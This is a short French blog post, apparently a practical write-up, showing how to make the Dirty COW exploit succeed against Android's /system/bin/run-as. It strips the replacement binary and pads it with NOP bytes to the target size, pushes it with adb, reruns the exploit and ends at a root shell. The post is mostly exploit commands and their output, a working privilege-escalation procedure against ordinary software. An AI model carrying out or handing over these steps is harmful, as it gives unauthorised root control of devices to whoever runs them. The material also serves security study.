Dirtycow, run-as, android

L'exploitation de la vulnérabilité dirtycow échoue parfois lorsque le fichier à modifier a une taille différente du fichier source.

Voici un méthode toute simple pour obtenir un fichier source de la bonne taille.

Tout d'abord, un exemple d'échec :

shell@android:/tmp $ ./dirtycow ./run-as /system/bin/run-as
dcow ./run-as /system/bin/run-as
warning: new file size (17100) and destination file size (9448) differ

corruption?

[*] size 17100
[*] mmap 0x40107000
[*] currently 0x40107000=464c457f
[*] using ptrace method
[*] madvise = 0x40107000 17100
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
./dirtycow: ptrace(PTRACE_POKETEXT): I/O error
[*] madvise = 0 16777216

Les commandes pour mettre le fichier source à 9448 bytes :

$ strip run-as
$ ls -l run-as
-rwxr-xr-x 1 root root 5544 Mar  9 14:16 run-as
$ python -c 'import sys; sys.stdout.write("\x90"*(9448-5544))' >> run-as

Il ne reste plus qu'a envoyer le nouveau fichier, et relancer l'exploitation.

$ adb push dirtycow /tmp
$ adb push run-as /tmp

shell@android:/tmp $ ./dirtycow ./run-as /system/bin/run-as
dcow ./run-as /system/bin/run-as
[*] size 9448
[*] mmap 0x402c3000
[*] currently 0x402c3000=464c457f
[*] using ptrace method
[*] madvise = 0x402c3000 9448
[*] ptrace 0 5
[*] exploited 144 0x402c3000=464c457f

shell@android:/tmp $ run-as
uid run-as 2000
uid 0
no selinux?

shell@android:/tmp # id
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

w00t :)


0 commentaire(s) pour Dirtycow, run-as, android


Laisser un commentaire